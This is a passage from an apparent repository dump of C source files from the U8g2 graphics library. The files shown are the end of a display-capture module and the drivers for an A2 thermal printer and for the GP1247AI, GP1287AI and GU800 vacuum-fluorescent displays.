tile_cnt);\n  if ( dest_ptr == NULL )\n    return;\n  dest_ptr += (uint16_t)ty*capture->tile_width*8;\n  dest_ptr += (uint16_t)tx*8;\n  u8x8_capture_memory_copy(dest_ptr, tile_ptr, tile_cnt*8);\n}\n\nuint8_t u8x8_d_capture(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  if (  msg ==  U8X8_MSG_DISPLAY_DRAW_TILE )\n  {\n    uint8_t x, y, c;\n    uint8_t *ptr;\n    x = ((u8x8_tile_t *)arg_ptr)->x_pos;    \n    y = ((u8x8_tile_t *)arg_ptr)->y_pos;\n    c = ((u8x8_tile_t *)arg_ptr)->cnt;\n    ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n    do\n    {\n      u8x8_capture_DrawTiles(&u8x8_capture, x, y, c, ptr);\n      x += c;\n      arg_int--;\n    } while( arg_int > 0 );\n  }\n  return u8x8_capture.old_cb(u8x8, msg, arg_int, arg_ptr);\n}\n\nuint8_t u8x8_GetCaptureMemoryPixel(u8x8_t *u8x8, uint16_t x, uint16_t y)\n{\n  return u8x8_capture_GetPixel(&u8x8_capture, x, y);\n}\n\n/* memory: tile_width*tile_height*8 bytes */\nvoid u8x8_ConnectCapture(u8x8_t *u8x8, uint8_t tile_width, uint8_t tile_height, uint8_t *memory)\n{\n  if ( u8x8->display_cb == u8x8_d_capture )\n    return;\t/* do nothing, capture already installed */\n\n  u8x8_capture.buffer = memory;\t/* tile_width*tile_height*8 bytes */\n  u8x8_capture.tile_width = tile_width;\n  u8x8_capture.tile_height = tile_height;\n  u8x8_capture.old_cb = u8x8->display_cb;\n  u8x8->display_cb = u8x8_d_capture;\n  return;\n}\n\n#endif"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_a2printer.c",
    "content": "/*\n\n  u8x8_d_a2printer.c\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2016, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n\n  Use DC2 bitmap command of the A2 Micro panel termal printer\n  double stroke\n  \n  \n*/\n\n\n#include \"u8x8.h\"\n\n#define LINE_MIN_DELAY_MS 15\n/* higher values improve quality */\n/* however if the value is too high (>=5) then form feed does not work any more */\n#define LINE_EXTRA_8PIXEL_DELAY_MS 3\n/* this must be a power of two and between 1 and 8 */\n/* best quality only with 1 */\n#define NO_OF_LINES_TO_SEND_WITHOUT_DELAY 1\n\n/* calculates the delay, based on the number of black pixel */\n/* actually only \"none-zero\" bytes are calculated which is, of course not so accurate, but should be good enough */\nuint16_t get_delay_in_milliseconds(uint8_t cnt, uint8_t *data)\n{\n  uint8_t i;\n  uint16_t time = LINE_MIN_DELAY_MS;\n  for ( i = 0; i < cnt; i++ )\n    if ( data[i] != 0 )\n      time += LINE_EXTRA_8PIXEL_DELAY_MS;\n  return time;\n}\n\nuint8_t u8x8_d_a2printer_common(u8x8_t *u8x8, uint8_t msg, U8X8_UNUSED uint8_t arg_int, void *arg_ptr)\n{\n  uint8_t c, i, j;\n  uint8_t *ptr;\n  uint16_t delay_in_milliseconds;\n  switch(msg)\n  {\n    /* U8X8_MSG_DISPLAY_SETUP_MEMORY is handled by the calling function */\n    /*\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      break;\n    */\n    case U8X8_MSG_DISPLAY_INIT:\n      u8x8_d_helper_display_init(u8x8);\n      // no setup required\n      // u8x8_cad_SendSequence(u8x8, u8x8_d_a2printer_init_seq);\n      break;\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n      // no powersave \n      break;\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n      u8x8_cad_StartTransfer(u8x8);\n      \n      u8x8_cad_SendCmd(u8x8, 27);      /* ESC */\n      u8x8_cad_SendCmd(u8x8, 55 );      /* parameter command */\n      /* increasing the \"max printing dots\" requires a good power supply, but LINE_EXTRA_8PIXEL_DELAY_MS could be reduced then */\n      u8x8_cad_SendCmd(u8x8, 0);      /* Max printing dots,Unit(8dots),Default:7(64 dots) 8*(x+1) ... lower values improve, probably my current supply is not sufficient */\n      u8x8_cad_SendCmd(u8x8, 200);      /* 3-255 Heating time,Unit(10us),Default:80(800us) */\n      u8x8_cad_SendCmd(u8x8, 2);      /* 0-255 Heating interval,Unit(10us),Default:2(20us) ... does not have much influence */\n      \n      //c = ((u8x8_tile_t *)arg_ptr)->cnt;\t/* number of tiles */\n      c = u8x8->display_info->tile_width;\n      ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\t/* data ptr to the tiles */\n    \n      u8x8_cad_SendCmd(u8x8, 18);      /* DC2 */\n      u8x8_cad_SendCmd(u8x8, 42 );      /* *  */\n      u8x8_cad_SendCmd(u8x8, 8 ); \t/* height */\n      u8x8_cad_SendCmd(u8x8, c ); \t/* c, u8x8->display_info->tile_width */\n      \n      for( j = 0; j < 8 / NO_OF_LINES_TO_SEND_WITHOUT_DELAY; j ++ )\n      {\n\n\tdelay_in_milliseconds = 0;\n\tfor( i = 0; i < NO_OF_LINES_TO_SEND_WITHOUT_DELAY; i++ )\n\t{\n\t  u8x8_cad_SendData(u8x8, c, ptr);\t/* c, note: SendData can not handle more than 255 bytes, send one line of data */\n\t  delay_in_milliseconds += get_delay_in_milliseconds(c, ptr);\n\t  ptr += c;\n\t}\n\t\n\twhile( delay_in_milliseconds > 200 )\n\t{\n\t  u8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_MILLI, 200, NULL);\t\n\t  delay_in_milliseconds -= 200;\n\t}\n\tu8x8->gpio_and_delay_cb(u8x8, U8X8_MSG_DELAY_MILLI, delay_in_milliseconds, NULL);\t\n      }\n\n      /* set parameters back to their default values */\n      u8x8_cad_SendCmd(u8x8, 27);      /* ESC */\n      u8x8_cad_SendCmd(u8x8, 55 );      /* parameter command */\n      u8x8_cad_SendCmd(u8x8, 7);      /* Max printing dots,Unit(8dots),Default:7(64 dots) 8*(x+1)*/\n      u8x8_cad_SendCmd(u8x8, 80);      /* 3-255 Heating time,Unit(10us),Default:80(800us) */\n      u8x8_cad_SendCmd(u8x8, 2);      /* 0-255 Heating interval,Unit(10us),Default:2(20us)*/\n\n      u8x8_cad_EndTransfer(u8x8);\n\n      break;\n    default:\n      return 0;\n  }\n  return 1;\n}\n\n\nstatic const u8x8_display_info_t u8x8_a2printer_384x240_display_info =\n{\n  /* most of the settings are not required, because this is a serial RS232 printer */\n  \n  /* chip_enable_level = */ 1,\n  /* chip_disable_level = */ 0,\n  \n  /* post_chip_enable_wait_ns = */ 5,\n  /* pre_chip_disable_wait_ns = */ 5,\n  /* reset_pulse_width_ms = */ 1, \n  /* post_reset_wait_ms = */ 6, \n  /* sda_setup_time_ns = */ 20,\t\t\n  /* sck_pulse_width_ns = */  140,\t\n  /* sck_clock_hz = */ 1000000UL,\t/* since Arduino 1.6.0, the SPI bus speed in Hz. Should be  1000000000/sck_pulse_width_ns */\n  /* spi_mode = */ 0,\t\t/* old: sck_takeover_edge, new: active high (bit 1), rising edge (bit 0) */\n  /* i2c_bus_clock_100kHz = */ 4,\n  /* data_setup_time_ns = */ 30,\n  /* write_pulse_width_ns = */ 40,\n  /* tile_width = */ 48,\n  /* tile_height = */ 30,\n  /* default_x_offset = */ 0,\n  /* flipmode_x_offset = */ 0,\n  /* pixel_width = */ 384,\n  /* pixel_height = */ 240\n};\n\nuint8_t u8x8_d_a2printer_384x240(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n  switch(msg)\n  {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n      u8x8_d_helper_display_setup_memory(u8x8, &u8x8_a2printer_384x240_display_info);\n      break;\n    default:\n      return u8x8_d_a2printer_common(u8x8, msg, arg_int, arg_ptr);\n  }\n  return 1;\n}\n\n\n\n  \n\n  "
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_gp1247ai.c",
    "content": "/*\n\n  u8x8_d_gp1247ai.c\n  \n  https://github.com/olikraus/u8g2/issues/1907\n  https://github.com/olikraus/u8g2/pull/1892  \n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2022, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification,\n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list\n  of conditions and the following disclaimer.\n\n  * Redistributions in binary form must reproduce the above copyright notice, this\n  list of conditions and the following disclaimer in the documentation and/or other\n  materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND\n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*/\n\n#include \"u8x8.h\"\n\n#define SWAP8(a) ((((a)&0x80) >> 7) | (((a)&0x40) >> 5) | (((a)&0x20) >> 3) | (((a)&0x10) >> 1) | (((a)&0x08) << 1) | (((a)&0x04) << 3) | (((a)&0x02) << 5) | (((a)&0x01) << 7))\n\n/* ========== GP1247AI ========== */\nstatic const u8x8_display_info_t u8x8_gp1247ai_display_info = {\n    /* chip_enable_level = */ 0,\n    /* chip_disable_level = */ 1,\n\n    /* post_chip_enable_wait_ns = */ 240, /* tCS-CLK */\n    /* pre_chip_disable_wait_ns = */ 120, /* tCLK-CS */\n    /* reset_pulse_width_ms = */ 1,       /* Trw     */\n    /* post_reset_wait_ms = */ 1,         /* Trth    */\n    /* sda_setup_time_ns = */ 60,         /* tsu     */\n    /* sck_pulse_width_ns = */ 120,       /* tcyc/2  */\n    /* sck_clock_hz = */ 4000000UL,       /* MAX 4.16 MHz */\n    /* spi_mode = */ 3,                   /* active low, falling edge, MSBFIRST */\n    /* i2c_bus_clock_100kHz = */ 4,       /*         */\n    /* data_setup_time_ns = */ 60,        /* tsu     */\n    /* write_pulse_width_ns = */ 120,     /* tcyc/2  */\n    /* tile_width = */ 32,                /* 32*8=256 memory size */\n    /* tile_height = */ 8,                 /* 8*8=64 memory size */\n    /* default_x_offset = */ 0,           /*         */\n    /* flipmode_x_offset = */ 0,          /*         */\n    /* pixel_width = */ 253,              /* display size */\n    /* pixel_height = */ 63               /* display size */\n};\nstatic const uint8_t u8x8_d_gp1247ai_init_seq[] = {\n    U8X8_START_TRANSFER(),\n    U8X8_C(SWAP8(0x0AA)), /* Software reset */\n    U8X8_END_TRANSFER(),\n    U8X8_DLY(1), /* Wait for reset */\n\n    U8X8_START_TRANSFER(),\n    U8X8_CA(SWAP8(0x078), SWAP8(0x008)), /* Oscillation Setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAA(SWAP8(0x0CC), SWAP8(0x005), SWAP8(0x000)), /* VFD Mode Setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAAA(SWAP8(0x0E0), SWAP8(0x0FC), SWAP8(0x03E), SWAP8(0x000)), /* Display Area Setting */\n    U8X8_A4(SWAP8(0x020), SWAP8(0x080), SWAP8(0x080), SWAP8(0x080)),   /* Display Area Setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAAAA(SWAP8(0x0B1), SWAP8(0x020), SWAP8(0x03F), SWAP8(0x000), SWAP8(0x001)), /* Internal Speed Setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAA(SWAP8(0x0A0), SWAP8(0x000), SWAP8(0x028)), /* Dimming level Setting (1024 level, 0x3FF max) */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_C(SWAP8(0x055)), /* Memory Map Clear */\n    U8X8_END_TRANSFER(),\n    U8X8_DLY(15), /* Wait for memory clear */\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAA(SWAP8(0x0C0), SWAP8(0x000), SWAP8(0x000)), /* DW1 position setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAA(SWAP8(0x0D0), SWAP8(0x000), SWAP8(0x040)), /* DW2 position setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CA(SWAP8(0x080), SWAP8(0x080)), /* Display Mode Setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_C(SWAP8(0x061)), /* Standby Mode */\n    U8X8_END_TRANSFER(),\n\n    U8X8_END() /* end of sequence */\n};\nstatic const uint8_t u8x8_d_gp1247ai_standby_seq[] = {\n    U8X8_START_TRANSFER(),\n    U8X8_C(SWAP8(0x061)), /* Standby */\n    U8X8_END_TRANSFER(),\n\n    U8X8_END() /* end of sequence */\n};\nstatic const uint8_t u8x8_d_gp1247ai_wakeup_seq[] = {\n    U8X8_START_TRANSFER(),\n    U8X8_C(SWAP8(0x06D)), /* Wake up */\n    U8X8_END_TRANSFER(),\n    U8X8_DLY(1), /* Wait for OSC stabilize */\n\n    U8X8_START_TRANSFER(),\n    U8X8_CA(SWAP8(0x080), SWAP8(0x080)), /* After entering standby mode, the SC bit will be automatically cleared */\n    U8X8_END_TRANSFER(),\n\n    U8X8_END() /* end of sequence */\n};\nuint8_t u8x8_d_gp1247ai_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    uint8_t *ptr;\n    uint8_t x, y;\n    uint16_t tx_cnt;\n    uint8_t swapped_byte;\n    switch (msg)\n    {\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n        if (arg_int == 0)\n            u8x8_cad_SendSequence(u8x8, u8x8_d_gp1247ai_wakeup_seq);\n        else\n            u8x8_cad_SendSequence(u8x8, u8x8_d_gp1247ai_standby_seq);\n        break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n        u8x8_cad_StartTransfer(u8x8);\n        u8x8_cad_SendCmd(u8x8, SWAP8(0x0A0));\n        u8x8_cad_SendArg(u8x8, SWAP8((arg_int * 4) >> 8));   /* Dimming level */\n        u8x8_cad_SendArg(u8x8, SWAP8((arg_int * 4) & 0xFF)); /* Dimming level */\n        u8x8_cad_EndTransfer(u8x8);\n        break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n        x = ((u8x8_tile_t *)arg_ptr)->x_pos * 8;\n        y = ((u8x8_tile_t *)arg_ptr)->y_pos * 8;\n\n        u8x8_cad_StartTransfer(u8x8);\n\n        u8x8_cad_SendCmd(u8x8, SWAP8(0x0F0));\n        u8x8_cad_SendArg(u8x8, SWAP8(x));\n        u8x8_cad_SendArg(u8x8, SWAP8(y));\n        u8x8_cad_SendArg(u8x8, SWAP8(0x007)); /* return every 8 pixels */\n        do\n        {\n            ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n            tx_cnt = ((u8x8_tile_t *)arg_ptr)->cnt * 8;\n            while (tx_cnt > 0)\n            {\n                swapped_byte = SWAP8(*ptr);\n                u8x8_cad_SendData(u8x8, 1, &swapped_byte);\n                ptr += 1;\n                tx_cnt -= 1;\n            }\n            arg_int--;\n        } while (arg_int > 0);\n\n        u8x8_cad_EndTransfer(u8x8);\n        break;\n    default:\n        return 0;\n    }\n    return 1;\n}\nuint8_t u8x8_d_gp1247ai_253x63(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    switch (msg)\n    {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n        u8x8_d_helper_display_setup_memory(u8x8, &u8x8_gp1247ai_display_info);\n        break;\n    case U8X8_MSG_DISPLAY_INIT:\n        u8x8_d_helper_display_init(u8x8);\n        u8x8_cad_SendSequence(u8x8, u8x8_d_gp1247ai_init_seq);\n        break;\n    default:\n        return u8x8_d_gp1247ai_common(u8x8, msg, arg_int, arg_ptr);\n    }\n    return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_gp1287ai.c",
    "content": "/*\n\n  u8x8_d_gp1287ai.c\n  \n  https://github.com/olikraus/u8g2/issues/1907\n  https://github.com/olikraus/u8g2/pull/1892  \n\n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2022, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification,\n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list\n  of conditions and the following disclaimer.\n\n  * Redistributions in binary form must reproduce the above copyright notice, this\n  list of conditions and the following disclaimer in the documentation and/or other\n  materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND\n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES,\n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF\n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE\n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR\n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL,\n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES;\n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER\n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,\n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE)\n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF\n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n\n*/\n\n#include \"u8x8.h\"\n\n#define SWAP8(a) ((((a)&0x80) >> 7) | (((a)&0x40) >> 5) | (((a)&0x20) >> 3) | (((a)&0x10) >> 1) | (((a)&0x08) << 1) | (((a)&0x04) << 3) | (((a)&0x02) << 5) | (((a)&0x01) << 7))\n\n/* ========== GP1287AI ========== */\nstatic const u8x8_display_info_t u8x8_gp1287ai_display_info = {\n    /* chip_enable_level = */ 0,\n    /* chip_disable_level = */ 1,\n\n    /* post_chip_enable_wait_ns = */ 240, /* tCS-CLK */\n    /* pre_chip_disable_wait_ns = */ 120, /* tCLK-CS */\n    /* reset_pulse_width_ms = */ 1,       /* Trw     */\n    /* post_reset_wait_ms = */ 1,         /* Trth    */\n    /* sda_setup_time_ns = */ 60,         /* tsu     */\n    /* sck_pulse_width_ns = */ 120,       /* tcyc/2  */\n    /* sck_clock_hz = */ 4000000UL,       /* MAX 4.16 MHz */\n    /* spi_mode = */ 3,                   /* active low, falling edge, MSBFIRST */\n    /* i2c_bus_clock_100kHz = */ 4,       /*         */\n    /* data_setup_time_ns = */ 60,        /* tsu     */\n    /* write_pulse_width_ns = */ 120,     /* tcyc/2  */\n    /* tile_width = */ 32,                /* 32*8=256 memory size */\n    /* tile_height = */ 7,                 /* 7*8=56 memory size */\n    /* default_x_offset = */ 0,           /*         */\n    /* flipmode_x_offset = */ 0,          /*         */\n    /* pixel_width = */ 256,              /* display size */\n    /* pixel_height = */ 50               /* display size */\n};\nstatic const uint8_t u8x8_d_gp1287ai_init_seq[] = {\n    U8X8_START_TRANSFER(),\n    U8X8_C(SWAP8(0x0AA)), /* Software reset */\n    U8X8_END_TRANSFER(),\n    U8X8_DLY(1), /* Wait for reset */\n\n    U8X8_START_TRANSFER(),\n    U8X8_CA(SWAP8(0x078), SWAP8(0x008)), /* Oscillation Setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAA(SWAP8(0x0CC), SWAP8(0x002), SWAP8(0x000)), /* VFD Mode Setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAAA(SWAP8(0x0E0), SWAP8(0x0FF), SWAP8(0x031), SWAP8(0x000)), /* Display Area Setting */\n    U8X8_A4(SWAP8(0x020), SWAP8(0x000), SWAP8(0x000), SWAP8(0x080)),   /* Display Area Setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAAAA(SWAP8(0x0B1), SWAP8(0x020), SWAP8(0x03F), SWAP8(0x000), SWAP8(0x001)), /* Internal Speed Setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAA(SWAP8(0x0A0), SWAP8(0x000), SWAP8(0x028)), /* Dimming level Setting (1024 level, 0x3FF max) */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_C(SWAP8(0x055)), /* Memory Map Clear */\n    U8X8_END_TRANSFER(),\n    U8X8_DLY(15), /* Waiting for memory clear */\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAA(SWAP8(0x0C0), SWAP8(0x000), SWAP8(0x004)), /* DW1 position setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CAA(SWAP8(0x0D0), SWAP8(0x000), SWAP8(0x03C)), /* DW2 position setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CA(SWAP8(0x090), SWAP8(0x000)), /* Internal Command */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CA(SWAP8(0x008), SWAP8(0x000)), /* T1 INT Setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_CA(SWAP8(0x080), SWAP8(0x000)), /* Display Mode Setting */\n    U8X8_END_TRANSFER(),\n\n    U8X8_START_TRANSFER(),\n    U8X8_C(SWAP8(0x061)), /* Standby Mode */\n    U8X8_END_TRANSFER(),\n\n    U8X8_END() /* end of sequence */\n};\nstatic const uint8_t u8x8_d_gp1287ai_standby_seq[] = {\n    U8X8_START_TRANSFER(),\n    U8X8_C(SWAP8(0x061)), /* Standby */\n    U8X8_END_TRANSFER(),\n\n    U8X8_END() /* end of sequence */\n};\nstatic const uint8_t u8x8_d_gp1287ai_wakeup_seq[] = {\n    U8X8_START_TRANSFER(),\n    U8X8_C(SWAP8(0x06D)), /* Wake up */\n    U8X8_END_TRANSFER(),\n    U8X8_DLY(1), /* Wait for OSC stabilize */\n\n    U8X8_START_TRANSFER(),\n    U8X8_CA(SWAP8(0x080), SWAP8(0x000)), /* After entering standby mode, the SC bit will be automatically cleared */\n    U8X8_END_TRANSFER(),\n\n    U8X8_END() /* end of sequence */\n};\nuint8_t u8x8_d_gp1287ai_common(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    uint8_t *ptr;\n    uint8_t x, y;\n    uint16_t tx_cnt;\n    uint8_t swapped_byte;\n    switch (msg)\n    {\n    case U8X8_MSG_DISPLAY_SET_POWER_SAVE:\n        if (arg_int == 0)\n            u8x8_cad_SendSequence(u8x8, u8x8_d_gp1287ai_wakeup_seq);\n        else\n            u8x8_cad_SendSequence(u8x8, u8x8_d_gp1287ai_standby_seq);\n        break;\n#ifdef U8X8_WITH_SET_CONTRAST\n    case U8X8_MSG_DISPLAY_SET_CONTRAST:\n        u8x8_cad_StartTransfer(u8x8);\n        u8x8_cad_SendCmd(u8x8, SWAP8(0x0A0));\n        u8x8_cad_SendArg(u8x8, SWAP8((arg_int * 4) >> 8));   /* Dimming level */\n        u8x8_cad_SendArg(u8x8, SWAP8((arg_int * 4) & 0xFF)); /* Dimming level */\n        u8x8_cad_EndTransfer(u8x8);\n        break;\n#endif\n    case U8X8_MSG_DISPLAY_DRAW_TILE:\n        x = ((u8x8_tile_t *)arg_ptr)->x_pos * 8;\n        y = ((u8x8_tile_t *)arg_ptr)->y_pos * 8 + 4;\n\n        u8x8_cad_StartTransfer(u8x8);\n\n        u8x8_cad_SendCmd(u8x8, SWAP8(0x0F0));\n        u8x8_cad_SendArg(u8x8, SWAP8(x));\n        u8x8_cad_SendArg(u8x8, SWAP8(y));\n        u8x8_cad_SendArg(u8x8, SWAP8(0x007)); /* return every 8 pixels */\n        do\n        {\n            ptr = ((u8x8_tile_t *)arg_ptr)->tile_ptr;\n            tx_cnt = ((u8x8_tile_t *)arg_ptr)->cnt * 8;\n            while (tx_cnt > 0)\n            {\n                swapped_byte = SWAP8(*ptr);\n                u8x8_cad_SendData(u8x8, 1, &swapped_byte);\n                ptr += 1;\n                tx_cnt -= 1;\n            }\n            arg_int--;\n        } while (arg_int > 0);\n\n        u8x8_cad_EndTransfer(u8x8);\n        break;\n    default:\n        return 0;\n    }\n    return 1;\n}\nuint8_t u8x8_d_gp1287ai_256x50(u8x8_t *u8x8, uint8_t msg, uint8_t arg_int, void *arg_ptr)\n{\n    switch (msg)\n    {\n    case U8X8_MSG_DISPLAY_SETUP_MEMORY:\n        u8x8_d_helper_display_setup_memory(u8x8, &u8x8_gp1287ai_display_info);\n        break;\n    case U8X8_MSG_DISPLAY_INIT:\n        u8x8_d_helper_display_init(u8x8);\n        u8x8_cad_SendSequence(u8x8, u8x8_d_gp1287ai_init_seq);\n        break;\n    default:\n        return u8x8_d_gp1287ai_common(u8x8, msg, arg_int, arg_ptr);\n    }\n    return 1;\n}\n"
  },
  {
    "path": "Bibliotecas/U8g2/src/clib/u8x8_d_gu800.c",
    "content": "/*\n\n  u8x8_d_gu800.c\n  \n  Support for GU800 series of VFD displays\n  https://www.noritake-elec.com/products/vfd-display-module/dot-matrix-graphic-display/gu-800-series\n  \n  Universal 8bit Graphics Library (https://github.com/olikraus/u8g2/)\n\n  Copyright (c) 2021, olikraus@gmail.com\n  All rights reserved.\n\n  Redistribution and use in source and binary forms, with or without modification, \n  are permitted provided that the following conditions are met:\n\n  * Redistributions of source code must retain the above copyright notice, this list \n    of conditions and the following disclaimer.\n    \n  * Redistributions in binary form must reproduce the above copyright notice, this \n    list of conditions and the following disclaimer in the documentation and/or other \n    materials provided with the distribution.\n\n  THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND \n  CONTRIBUTORS \"AS IS\" AND ANY EXPRESS OR IMPLIED WARRANTIES, \n  INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF \n  MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE \n  DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR \n  CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, \n  SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT \n  NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; \n  LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER \n  CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, \n  STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) \n  ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF \n  ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.  \n\n  \n \n  u8x8_gu800_cad_110\n  \n  WARNING: DO NOT USE THIS FILE AS TEMPLATE:\n  \n  This code requires a special cad callback which includes the start\n  and end transfer code. As a consequence this code does not include any\n  start / end transfer calls.\n  \n*/\n#include \"u8x8.h\"\n\n\n\n\nstatic const uint8_t 